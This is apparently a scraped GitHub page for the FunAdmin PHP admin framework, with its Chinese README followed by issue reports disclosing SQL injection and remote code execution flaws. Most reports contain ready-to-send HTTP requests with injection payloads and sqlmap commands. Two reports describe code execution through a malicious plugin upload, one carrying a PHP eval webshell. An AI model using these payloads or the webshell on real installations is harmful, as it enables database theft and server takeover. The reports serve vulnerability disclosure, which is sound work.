funadmin/funadmin

全栈开发框架🔥🔥🔥FunAdmin是基于ThinkPHP8Layui开发的轻量级高颜值后台开发系统,集成Layui常用组件、CRUD生成快速模块，CMS免费商用 ,非常适合二开, 点击star支持下吧

FunAdmin5.X版本 在3.X的基础上优化了许多功能，并升级到了TP8，欢迎使用

funadmin docker 版本请移步docker仓库

funadmin前端和webman开发的后台管理系统

为梦想而创作：FunAdmin开发框架系统 V5.X最低支持PHP8.0

用爱发电，开源不易，您先点右上角 "Star" 支持一下 谢谢！

用爱发电，开源不易，请先点击右上角 "Star" 支持一下 谢谢！

如果您想获悉项目实时更新信息，您可以点右上角"Watch"

如果您想参与项目的开发，您可以点右上角"Fork"！

Github：https://github.com/funadmin/funadmin

官方网址：http://www.funadmin.com/

插件市场 https://www.funadmin.com/frontend/plugins

帮助文档：https://doc.funadmin.com 正在持续更新中...

后台演示 加群获取 演示地址：http://fundemo.funadmin.com/

QQ群1：775616363

QQ群2：1048893269

项目介绍

FunAdmin 基于thinkphp8.X +Layui2.8.*+requirejs开发权限(RBAC)管理框架，框架中集成了权限管理、模块管理、插件管理、后台支持多主题切换、配置管理、会员管理等常用功能模块，以方便开发者快速构建自己的应用。框架专注于为中小企业提供最佳的行业基础后台框架解决方案，执行效率、扩展性、稳定性值得信赖，操作体验流畅，使用非常优化，欢迎大家使用及进行二次开发。

• 支持ThinkPHP 持续升级框架底层;跟随官网脚步
• 这是一个有趣的后台管理系统，这是可以让你节约时间的系统
• 这是一款快速、高效、便捷、灵活敏捷的应用开发框架。
• 系统采用最新版TinkPHP8框架开发，底层安全可靠，数据查询更快，运行效率更高，网站速度更快, 后续随官网升级而升级
• 密码动态加密,相同密码入库具有唯一性，用户信息安全牢固,告别简单md5加密
• 自适应前端，桌面和移动端访问界面友好简洁，模块清晰
• 兼容ie11 + firefox + Chrome +360 等浏览器
• UI组件化，只需要写函数就可以成就后台表单
• 内置 CURD 命令行模式，帮助助您快速开发系统
• 模块化：全新的架构和模块化的开发机制，便于灵活扩展和二次开发。
• 强大的表单管理，只需要使用函数即可成就表单
• layui采用最新layui2.8.X 框架
• 适用范围：可以开发OA、ERP、BPM、CRM、WMS、TMS、MIS、BI、电商平台后台、物流管理系统、快递管理系统、教务管理系统等各类管理软件。
• require.js 模块化开发 一个命令即可打包js,css ; node r.js -o min-backend.js
• restful api 接口,接口使用jwt接口验证等
• ...更多功能尽请关注

环境要求:

• PHP >= 8.0
• PDO PHP Extension
• MBstring PHP Extension
• CURL PHP Extension
• ZIP PHP Extension
• 开启静态重写 (必须)
• 要求环境支持pathinfo
• Mysql 5.7及以上
• Apache 或 Nginx

功能特性

• 严谨规范： 提供一套有利于团队协作的结构设计、编码、数据等规范。
• 高效灵活： 清晰的分层设计，解耦设计更能灵活应对需求变更。
• 严谨安全： 清晰的系统执行流程，严谨的异常检测和安全机制，详细的日志统计，为系统保驾护航。
• 组件化： 完善的组件化设计，丰富的表单组件，让开发列表和表单更得心应手。无需前端开发，省时省力。
• 简单上手快： 结构清晰、代码规范、在开发快速的同时还兼顾性能的极致追求。
• 自身特色： 权限管理、组件丰富、第三方应用多、分层解耦化设计和先进的设计**。
• 高级进阶： 分布式、负载均衡、集群、Redis、分库分表。

插件

• ** CMS内容管理插件（免费）
• ** BBS社区插件
• ** 编辑器插件
• ** 微信管理插件（免费）
• ** 自动生成API接口文档（免费）
• ** 更多请查看 插件列表

开发者信息

• 系统名称：FunAdmin开发系统框架
• 作者：FunAdmin
• 官网网址：http://www.funadmin.com/
• 文档网址：http://doc.funadmin.com/
• 开源协议：Apache 2.0

鸣谢以下开源项目以及项目中用到的其他开源项目 （排名不分先后，）

• Thinkphp
• JQuery
• Layui
• Requirejs

版权信息

FunAdmin 方便二次开发，您可以方便的使用到自己或企业的项目中,你可以免费学习或者使用

本项目包含的第三方源码和二进制文件之版权信息另行标注。

版权所有Copyright © 2018-2030 by FunAdmin www.FunAdmin.com

All rights reserved。

若此项目能得到你的青睐，支持开源项目，可以捐赠支持作者持续开发与维护。

问题反馈

在使用中有任何问题，欢迎反馈给我，可以用以下联系方式跟我交流 QQ群：775616363

Gitee：https://gitee.com/funadmin/funadmin Github：https://github.com/funadmin/funadmin

项目目录结构

初始的目录结构如下：

www  WEB部署目录（或者子目录）
├─addons           插件目录
├─app           目录
│  ├─backend      应用目录
│  ├───controller      控制器目录
│  ├───model      model目录
│  ├───config      config目录
│  ├───route      route目录
│  ├───view      视图目录
│  ├─api      应用目录
│  ├───controller      控制器目录
│  ├───model      model目录
│  ├─ ...            更多类库目录
│  │
│  ├─frontend      应用目录
│  ├───controller      控制器目录
│  ├───model      model目录
│  ├─ ...            更多类库目录
│  ├─common.php         公共函数文件
│  └─event.php          事件定义文件
│
├─config                应用配置目录
│  ├─app_name           应用配置目录
│  │  ├─database.php    数据库配置
│  │  ├─cache           缓存配置
│  │  └─ ...  
│  │
│  ├─app.php            应用配置
│  ├─cache.php          缓存配置
│  ├─cookie.php         Cookie配置
│  ├─database.php       数据库配置
│  ├─log.php            日志配置
│  ├─route.php          路由和URL配置
│  ├─session.php        Session配置
│  ├─template.php       模板引擎配置
│  └─trace.php          Trace配置
│
├─view                 视图目录
│  ├─app_name          应用视图目录
│  └─ ...   
│
├─route                 路由定义目录
│  │  ├─route.php       路由定义文件
│  │  └─ ...   
│
├─public                WEB目录（对外访问目录）
│  ├─index.php          入口文件
│  ├─router.php         快速测试文件
│  └─.htaccess          用于apache的重写
│
├─extend                扩展类库目录
├─runtime               应用的运行时目录（可写，可定制）
├─vendor                第三方类库目录（Composer依赖库）
├─build.php             自动生成定义文件（参考）
├─composer.json         composer 定义文件
├─LICENSE.txt           授权说明文件
├─README.md             README 文件
├─think                 命令行入口文件

funadmin's Issues

Database management plug-in database.php list-sql injection vulnerability

Vulnerability Product:funadmin
Vulnerability version:.3.2.0
Vulnerability type:sql injection
Vulnerability Details：
Database management plug-in database.php list-sql injection vulnerability
Vulnerability occurs in plugin - database management plugin

Code Audit Process
Vulnerability occurs in
app\databases\controller\Database.php#list method


Get the id directly and splice it into the sql statement

Vulnerability reproduction:
Background administrator rights
sqlmap poc save as txt
`POST /databases/database/list?id=* HTTP/1.1
Host: 192.168.3.129:8092
Content-Length: 187
Accept: application/json, text/javascript, /; q=0.01
X-Requested-With: XMLHttpRequest
X-CSRF-TOKEN: d659d1ffb4e68ff1910c1c7c75a43539
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.3.129:8092
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_ce074243117e698438c49cd037b593eb=1673498041; ci_session=ca40t5m9pvlvp7gftr11qng0g0lofceq; PHPSESSID=591a908579ac738f0fc0f53d05c6aa51; think_lang=zh-cn; Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed=1674888420; Hm_lpvt_8dcaf664827c0e8ae52287ebb2411aed=1674888420; auth_account=YToxOntzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI3OiJleUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpJVXpJMU5pSjkuZXlKdFpXMWlaWEpmYVdRaU9qRTFORGdzSW1Gd2NHbGtJam9pSWl3aVlYQndjMlZqY21WMElqb2lJaXdpYVhOeklqb2lhSFIwY0hNNkx5OTNkM2N1Wm5WdVlXUnRhVzR1WTI5dElpd2lZWFZrSWpvaWFIUjBjSE02THk5M2QzY3VablZ1WVdSdGFXNHVZMjl0SWl3aWMyTnZjR1Z6SWpvaWNtOXNaVjloWTJObGMzTWlMQ0pwWVhRaU9qRTJOelE0T0RrMU1EQXNJbTVpWmlJNk1UWTNORGc0T1RVd01Dd2laWGh3SWpveE5qYzFOVGd3TnpBd2ZRLkJITHd5WU5nNkpVVUZmMFFucGM0aHk2YlZ1c1V6WkVqR3N2SElva0pxYU0iO30%3D; clound_account=YTo0OntzOjI6ImlkIjtpOjE1NDg7czo4OiJ1c2VybmFtZSI7czoxMDoibXlmdW5hZG1pbiI7czo4OiJuaWNrbmFtZSI7czowOiIiO3M6NjoiYXZhdGFyIjtzOjM2OiIvc3RhdGljL2Zyb250ZW5kL2ltYWdlcy9hdmF0YXIvNi5qcGciO30%3D
Connection: close

TABLE_NAME=fun_addon&ENGINE=InnoDB&TABLE_COMMENT=%E5%85%AC%E7%94%A8_%E6%8F%92%E4%BB%B6%E8%A1%A81&TABLE_ROWS=7&TABLE_COLLATION=utf8mb4_unicode_ci&token=d659d1ffb4e68ff1910c1c7c75a43539`
python sqlmap.py -r poc.txt

Responsible disclosure policy

Hello 👋

I run a security community that finds and fixes vulnerabilities in OSS. A researcher (@WHOISshuvam) has found a potential issue, which I would be eager to share with you.

Could you add a SECURITY.md file with an e-mail address for me to send further details to? GitHub recommends a security policy to ensure issues are responsibly disclosed, and it would help direct researchers in the future.

Looking forward to hearing from you 👍

(cc @huntr-helper)

member.memberLevel#selectFields[name] has sql injection vulnerability

Vulnerability Product:funadmin
Vulnerability version:.3.2.0
Vulnerability type:sql injection
Vulnerability Details：
Vulnerability location app\backend\controller\member\MemberLevel.php# is called
app\backend\controller\member\Member.php#index method

After getting the parameter selectFields here, continue to enter
selectFields method
app\common\traits\Curd.php#selectList

Finally, enter \vendor\topthink\think-orm\src\db\BaseQuery.php#field is spliced ​​into sql without filtering to cause sql injection

Vulnerability reproduction:
Background administrator rights
sqlmap poc
GET /backend/member.memberLevel/index?parentField=pid&selectFields%5Bname%5D=*&selectFields%5Bvalue%5D=id HTTP/1.1 Host: 192.168.3.129:8092 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.9 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: Hm_lvt_ce074243117e698438c49cd037b593eb=1673498041; PHPSESSID=591a908579ac738f0fc0f53d05c6aa51; think_lang=zh-cn; Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed=1674888420; Hm_lpvt_8dcaf664827c0e8ae52287ebb2411aed=1674888420; auth_account=YToxOntzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI3OiJleUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpJVXpJMU5pSjkuZXlKdFpXMWlaWEpmYVdRaU9qRTFORGdzSW1Gd2NHbGtJam9pSWl3aVlYQndjMlZqY21WMElqb2lJaXdpYVhOeklqb2lhSFIwY0hNNkx5OTNkM2N1Wm5WdVlXUnRhVzR1WTI5dElpd2lZWFZrSWpvaWFIUjBjSE02THk5M2QzY3VablZ1WVdSdGFXNHVZMjl0SWl3aWMyTnZjR1Z6SWpvaWNtOXNaVjloWTJObGMzTWlMQ0pwWVhRaU9qRTJOelE0T0RrMU1EQXNJbTVpWmlJNk1UWTNORGc0T1RVd01Dd2laWGh3SWpveE5qYzFOVGd3TnpBd2ZRLkJITHd5WU5nNkpVVUZmMFFucGM0aHk2YlZ1c1V6WkVqR3N2SElva0pxYU0iO30%3D; clound_account=YTo0OntzOjI6ImlkIjtpOjE1NDg7czo4OiJ1c2VybmFtZSI7czoxMDoibXlmdW5hZG1pbiI7czo4OiJuaWNrbmFtZSI7czowOiIiO3M6NjoiYXZhdGFyIjtzOjM2OiIvc3RhdGljL2Zyb250ZW5kL2ltYWdlcy9hdmF0YXIvNi5qcGciO30%3D X-Csrf-Token: 57cf5483b08025dc11534643f460d0fc X-Requested-With: XMLHttpRequest Accept-Encoding: gzip

Database management plug-in table.php list-sql injection vulnerability

Vulnerability Product:funadmin
Vulnerability version:.3.2.0
Vulnerability type:sql injection
Vulnerability Details：
Database management plug-in table.php list-sql injection vulnerability
Vulnerability occurs in plugin - database management plugin

Code Audit Process
Vulnerability occurs in
app\databases\controller\table.php#list method


Get the id directly and splice it into the sql statement
Vulnerability recurrence
`POST /databases/table/list?id='+UNION+ALL+SELECT+NULL,CONCAT(0x7162626b71,user(),0x71766a6b71),NULL,NULL,NULL,NULL,NULL,NULL%23 HTTP/1.1
Host: 192.168.3.129:8092
Content-Length: 187
Accept: application/json, text/javascript, /; q=0.01
X-Requested-With: XMLHttpRequest
X-CSRF-TOKEN: d659d1ffb4e68ff1910c1c7c75a43539
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.3.129:8092
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_ce074243117e698438c49cd037b593eb=1673498041; ci_session=ca40t5m9pvlvp7gftr11qng0g0lofceq; PHPSESSID=591a908579ac738f0fc0f53d05c6aa51; think_lang=zh-cn; Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed=1674888420; Hm_lpvt_8dcaf664827c0e8ae52287ebb2411aed=1674888420; auth_account=YToxOntzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI3OiJleUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpJVXpJMU5pSjkuZXlKdFpXMWlaWEpmYVdRaU9qRTFORGdzSW1Gd2NHbGtJam9pSWl3aVlYQndjMlZqY21WMElqb2lJaXdpYVhOeklqb2lhSFIwY0hNNkx5OTNkM2N1Wm5WdVlXUnRhVzR1WTI5dElpd2lZWFZrSWpvaWFIUjBjSE02THk5M2QzY3VablZ1WVdSdGFXNHVZMjl0SWl3aWMyTnZjR1Z6SWpvaWNtOXNaVjloWTJObGMzTWlMQ0pwWVhRaU9qRTJOelE0T0RrMU1EQXNJbTVpWmlJNk1UWTNORGc0T1RVd01Dd2laWGh3SWpveE5qYzFOVGd3TnpBd2ZRLkJITHd5WU5nNkpVVUZmMFFucGM0aHk2YlZ1c1V6WkVqR3N2SElva0pxYU0iO30%3D; clound_account=YTo0OntzOjI6ImlkIjtpOjE1NDg7czo4OiJ1c2VybmFtZSI7czoxMDoibXlmdW5hZG1pbiI7czo4OiJuaWNrbmFtZSI7czowOiIiO3M6NjoiYXZhdGFyIjtzOjM2OiIvc3RhdGljL2Zyb250ZW5kL2ltYWdlcy9hdmF0YXIvNi5qcGciO30%3D
Connection: close

TABLE_NAME=fun_addon&ENGINE=InnoDB&TABLE_COMMENT=%E5%85%AC%E7%94%A8_%E6%8F%92%E4%BB%B6%E8%A1%A81&TABLE_ROWS=7&TABLE_COLLATION=utf8mb4_unicode_ci&token=d659d1ffb4e68ff1910c1c7c75a43539`

auth.Auth#selectFields[name] has sql injection vulnerability

Vulnerability Product:funadmin
Vulnerability version:.3.2.0
Vulnerability type:sql injection
Vulnerability Details：
Vulnerability location app\backend\controller\auth\Auth.php#adjust index method

After getting the parameter selectFields here, continue to enter
selectFields method
app\common\traits\Curd.php#selectList

Finally, enter \vendor\topthink\think-orm\src\db\BaseQuery.php#field is spliced ​​into sql without filtering to cause sql injection

Vulnerability reproduction:
Background administrator rights
poc
GET /backend/auth.Auth/index.html?parentField=pid&selectFields%5Bname%5D=extractvalue%281%2Cconcat%28char%28126%29%2Cuser()%29%29&selectFields%5Bvalue%5D=id&tree=true HTTP/1.1 Host: 192.168.3.129:8092 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.9 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: Hm_lvt_ce074243117e698438c49cd037b593eb=1673498041; PHPSESSID=591a908579ac738f0fc0f53d05c6aa51; think_lang=zh-cn; Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed=1674888420; Hm_lpvt_8dcaf664827c0e8ae52287ebb2411aed=1674888420; auth_account=YToxOntzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI3OiJleUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpJVXpJMU5pSjkuZXlKdFpXMWlaWEpmYVdRaU9qRTFORGdzSW1Gd2NHbGtJam9pSWl3aVlYQndjMlZqY21WMElqb2lJaXdpYVhOeklqb2lhSFIwY0hNNkx5OTNkM2N1Wm5WdVlXUnRhVzR1WTI5dElpd2lZWFZrSWpvaWFIUjBjSE02THk5M2QzY3VablZ1WVdSdGFXNHVZMjl0SWl3aWMyTnZjR1Z6SWpvaWNtOXNaVjloWTJObGMzTWlMQ0pwWVhRaU9qRTJOelE0T0RrMU1EQXNJbTVpWmlJNk1UWTNORGc0T1RVd01Dd2laWGh3SWpveE5qYzFOVGd3TnpBd2ZRLkJITHd5WU5nNkpVVUZmMFFucGM0aHk2YlZ1c1V6WkVqR3N2SElva0pxYU0iO30%3D; clound_account=YTo0OntzOjI6ImlkIjtpOjE1NDg7czo4OiJ1c2VybmFtZSI7czoxMDoibXlmdW5hZG1pbiI7czo4OiJuaWNrbmFtZSI7czowOiIiO3M6NjoiYXZhdGFyIjtzOjM2OiIvc3RhdGljL2Zyb250ZW5kL2ltYWdlcy9hdmF0YXIvNi5qcGciO30%3D X-Requested-With: XMLHttpRequest Accept-Encoding: gzip

auth.Auth#selectFields[value] has sql injection vulnerability

Vulnerability Product:funadmin
Vulnerability version:.3.2.0
Vulnerability type:sql injection
Vulnerability Details：
Vulnerability location app\backend\controller\auth\Auth.php#adjust index method

After getting the parameter selectFields here, continue to enter
selectFields method
app\common\traits\Curd.php#selectList

Finally, enter \vendor\topthink\think-orm\src\db\BaseQuery.php#field is spliced ​​into sql without filtering to cause sql injection

Vulnerability recurrence
poc
GET /backend/auth.Auth/index.html?selectFields%5Bname%5D=title&selectFields%5Bvalue%5D=extractvalue%281%2Cconcat%28char%28126%29%2Cuser()%29%29&tree=true&parentField=pid HTTP/1.1 Host: 192.168.3.129:8092 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.9 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: Hm_lvt_ce074243117e698438c49cd037b593eb=1673498041; PHPSESSID=591a908579ac738f0fc0f53d05c6aa51; think_lang=zh-cn; Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed=1674888420; Hm_lpvt_8dcaf664827c0e8ae52287ebb2411aed=1674888420; auth_account=YToxOntzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI3OiJleUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpJVXpJMU5pSjkuZXlKdFpXMWlaWEpmYVdRaU9qRTFORGdzSW1Gd2NHbGtJam9pSWl3aVlYQndjMlZqY21WMElqb2lJaXdpYVhOeklqb2lhSFIwY0hNNkx5OTNkM2N1Wm5WdVlXUnRhVzR1WTI5dElpd2lZWFZrSWpvaWFIUjBjSE02THk5M2QzY3VablZ1WVdSdGFXNHVZMjl0SWl3aWMyTnZjR1Z6SWpvaWNtOXNaVjloWTJObGMzTWlMQ0pwWVhRaU9qRTJOelE0T0RrMU1EQXNJbTVpWmlJNk1UWTNORGc0T1RVd01Dd2laWGh3SWpveE5qYzFOVGd3TnpBd2ZRLkJITHd5WU5nNkpVVUZmMFFucGM0aHk2YlZ1c1V6WkVqR3N2SElva0pxYU0iO30%3D; clound_account=YTo0OntzOjI6ImlkIjtpOjE1NDg7czo4OiJ1c2VybmFtZSI7czoxMDoibXlmdW5hZG1pbiI7czo4OiJuaWNrbmFtZSI7czowOiIiO3M6NjoiYXZhdGFyIjtzOjM2OiIvc3RhdGljL2Zyb250ZW5kL2ltYWdlcy9hdmF0YXIvNi5qcGciO30%3D X-Csrf-Token: 57cf5483b08025dc11534643f460d0fc X-Requested-With: XMLHttpRequest Accept-Encoding: gzip

member.memberLevel#selectFields[value] has sql injection vulnerability

Vulnerability Product:funadmin
Vulnerability version:.3.2.0
Vulnerability type:sql injection
Vulnerability Details：
member.memberLevel#selectFields[value] has sql injection vulnerability
Vulnerability location app\backend\controller\member\MemberLevel.php# is called
app\backend\controller\member\Member.php#index method

After getting the parameter selectFields here, continue to enter
selectFields method
app\common\traits\Curd.php#selectList

Finally, enter \vendor\topthink\think-orm\src\db\BaseQuery.php#field is spliced ​​into sql without filtering to cause sql injection

Vulnerability recurrence
poc
GET /backend/member.memberLevel/index?parentField=pid&selectFields%5Bname%5D=name&selectFields%5Bvalue%5D=extractvalue%281%2Cconcat%28char%28126%29%2Cuser()%29%29 HTTP/1.1 Host: 192.168.3.129:8092 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.9 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: Hm_lvt_ce074243117e698438c49cd037b593eb=1673498041; PHPSESSID=591a908579ac738f0fc0f53d05c6aa51; think_lang=zh-cn; Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed=1674888420; Hm_lpvt_8dcaf664827c0e8ae52287ebb2411aed=1674888420; auth_account=YToxOntzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI3OiJleUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpJVXpJMU5pSjkuZXlKdFpXMWlaWEpmYVdRaU9qRTFORGdzSW1Gd2NHbGtJam9pSWl3aVlYQndjMlZqY21WMElqb2lJaXdpYVhOeklqb2lhSFIwY0hNNkx5OTNkM2N1Wm5WdVlXUnRhVzR1WTI5dElpd2lZWFZrSWpvaWFIUjBjSE02THk5M2QzY3VablZ1WVdSdGFXNHVZMjl0SWl3aWMyTnZjR1Z6SWpvaWNtOXNaVjloWTJObGMzTWlMQ0pwWVhRaU9qRTJOelE0T0RrMU1EQXNJbTVpWmlJNk1UWTNORGc0T1RVd01Dd2laWGh3SWpveE5qYzFOVGd3TnpBd2ZRLkJITHd5WU5nNkpVVUZmMFFucGM0aHk2YlZ1c1V6WkVqR3N2SElva0pxYU0iO30%3D; clound_account=YTo0OntzOjI6ImlkIjtpOjE1NDg7czo4OiJ1c2VybmFtZSI7czoxMDoibXlmdW5hZG1pbiI7czo4OiJuaWNrbmFtZSI7czowOiIiO3M6NjoiYXZhdGFyIjtzOjM2OiIvc3RhdGljL2Zyb250ZW5kL2ltYWdlcy9hdmF0YXIvNi5qcGciO30%3D X-Csrf-Token: 57cf5483b08025dc11534643f460d0fc X-Requested-With: XMLHttpRequest Accept-Encoding: gzip

Background offline installation plug-in rce

Vulnerability Product:funadmin
Vulnerability version:.3.2.0
Vulnerability type:romote code exec
Vulnerability Details：
Background offline installation plug-in rce
Vulnerability location occurs in app\backend\controller\Addon.php#installation plug-in does not filter malicious code

Therefore, we can construct a malicious plug-in controller to cause remote code execution
Construct the tarball
snowflake\controller\Index.php executes malicious code here I call phpinfo();
`<?php

namespace addons\snowflake\controller;

use fun\addons\Controller;
use think\App;

class Index extends Controller
{

//首页
public function index()
{
	phpinfo();

     echo hook_one('snowflake');
}

}`

After the construction of the compressed package is completed, the background plug-in-plugin management-offline installation uploads the malicious compressed package
http://192.168.3.129:8092/backend/ajax/uploads?save=1&path=addon
http://192.168.3.129:8092/backend/addon/localinstall

Visit after successful installation
http://192.168.3.129:8092/addons/snowflake
Successfully trigger our malicious code

auth.Auth#parentField has sql injection vulnerability

Vulnerability Product:funadmin
Vulnerability version:.3.2.0
Vulnerability type:sql injection
Vulnerability Details：
auth.Auth#parentField has sql injection vulnerability
Vulnerability location app\backend\controller\auth\Auth.php#adjust index method

After getting the parameter selectFields here, continue to enter
selectFields method
app\common\traits\Curd.php#selectList

Finally, enter \vendor\topthink\think-orm\src\db\BaseQuery.php#parentField is spliced ​​into sql without filtering to cause sql injection

Vulnerability recurrence
poc
GET /backend/auth.Auth/index.html?parentField=extractvalue%281%2Cconcat%28char%28126%29%2Cuser()%29%29&selectFields%5Bname%5D=title&selectFields%5Bvalue%5D=id&tree=true HTTP/1.1 Host: 192.168.3.129:8092 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.9 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: Hm_lvt_ce074243117e698438c49cd037b593eb=1673498041; PHPSESSID=591a908579ac738f0fc0f53d05c6aa51; think_lang=zh-cn; Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed=1674888420; Hm_lpvt_8dcaf664827c0e8ae52287ebb2411aed=1674888420; auth_account=YToxOntzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI3OiJleUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpJVXpJMU5pSjkuZXlKdFpXMWlaWEpmYVdRaU9qRTFORGdzSW1Gd2NHbGtJam9pSWl3aVlYQndjMlZqY21WMElqb2lJaXdpYVhOeklqb2lhSFIwY0hNNkx5OTNkM2N1Wm5WdVlXUnRhVzR1WTI5dElpd2lZWFZrSWpvaWFIUjBjSE02THk5M2QzY3VablZ1WVdSdGFXNHVZMjl0SWl3aWMyTnZjR1Z6SWpvaWNtOXNaVjloWTJObGMzTWlMQ0pwWVhRaU9qRTJOelE0T0RrMU1EQXNJbTVpWmlJNk1UWTNORGc0T1RVd01Dd2laWGh3SWpveE5qYzFOVGd3TnpBd2ZRLkJITHd5WU5nNkpVVUZmMFFucGM0aHk2YlZ1c1V6WkVqR3N2SElva0pxYU0iO30%3D; clound_account=YTo0OntzOjI6ImlkIjtpOjE1NDg7czo4OiJ1c2VybmFtZSI7czoxMDoibXlmdW5hZG1pbiI7czo4OiJuaWNrbmFtZSI7czowOiIiO3M6NjoiYXZhdGFyIjtzOjM2OiIvc3RhdGljL2Zyb250ZW5kL2ltYWdlcy9hdmF0YXIvNi5qcGciO30%3D X-Csrf-Token: e01ba8f9cae042b9c57fab28d18c33c2 X-Requested-With: XMLHttpRequest Accept-Encoding: gzip

Database management plug-in database.php edit-sql registration vulnerability

Vulnerability Product:funadmin
Vulnerability version:.3.2.0
Vulnerability type:sql injection
Vulnerability Details：
Vulnerability occurs in plugin - database management plugin

Code Audit Process
Vulnerability occurs in
app\databases\controller\Database.php#edit method

Get the id directly and splice it into the sql statement
Vulnerability recurrence
Conditions: background administrator rights
sqlmap poc save as txt

`POST /databases/database/edit?id=fun_addon* HTTP/1.1
Host: 192.168.3.129:8092
Content-Length: 187
Accept: application/json, text/javascript, /; q=0.01
X-Requested-With: XMLHttpRequest
X-CSRF-TOKEN: d659d1ffb4e68ff1910c1c7c75a43539
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.3.129:8092
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_ce074243117e698438c49cd037b593eb=1673498041; ci_session=ca40t5m9pvlvp7gftr11qng0g0lofceq; PHPSESSID=591a908579ac738f0fc0f53d05c6aa51; think_lang=zh-cn; Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed=1674888420; Hm_lpvt_8dcaf664827c0e8ae52287ebb2411aed=1674888420;
Connection: close

TABLE_NAME=fun_addon&ENGINE=InnoDB&TABLE_COMMENT=%E5%85%AC%E7%94%A8_%E6%8F%92%E4%BB%B6%E8%A1%A81&TABLE_ROWS=7&TABLE_COLLATION=utf8mb4_unicode_ci&token=d659d1ffb4e68ff1910c1c7c75a43539`
python sqlmap.py -r poc.txt

加载JS有点慢

Insecure file upload via plugins install in funadmin v3.3.2 - v3.3.3

Vulnerability Product:funadmin
Vulnerability version:.3.3.2 - 3.3.3
Vulnerability type:Insecure file upload
Vulnerability Details：
Vulnerability location app\backend\controller\Addon.php#localinstall method

the method:localinstall doesn't check any webshell or sensitive function in file, which may cause insecure file upload.

firstly, we download a free plugin and unzip it. the rootpath of plugin is as follows:

then, we add a webshell into /public/js

content of shell: <?pup @eval($_REQUEST['shell']); ?>
after it, we zip the entire plugin

example plugin(already placed webshell): https://github.com/Leeyangee/leeya_bug/raw/main/demo.zip

finally, we just find a website uses funadmin v3.3.2, visit: http://localhost/backend/index/index.html, click "install offline" "离线安装"

and select the plugin we just zipped, after installed , visit http://localhost/static/demo/js/shell.php?shell=phpinfo();

Proof that this has been uploaded webshell via plugins install

Discoverer:leeya_bug

member.memberLevel#parentField has sql injection vulnerability

Vulnerability Product:funadmin
Vulnerability version:.3.2.0
Vulnerability type:sql injection
Vulnerability Details：
Vulnerability location app\backend\controller\member\Member.php#adjust index method

After getting the parameter selectFields here, continue to enter
selectFields method
app\common\traits\Curd.php#selectList

Finally, enter \vendor\topthink\think-orm\src\db\BaseQuery.php#parentField is spliced ​​into sql without filtering to cause sql injection

Vulnerability recurrence
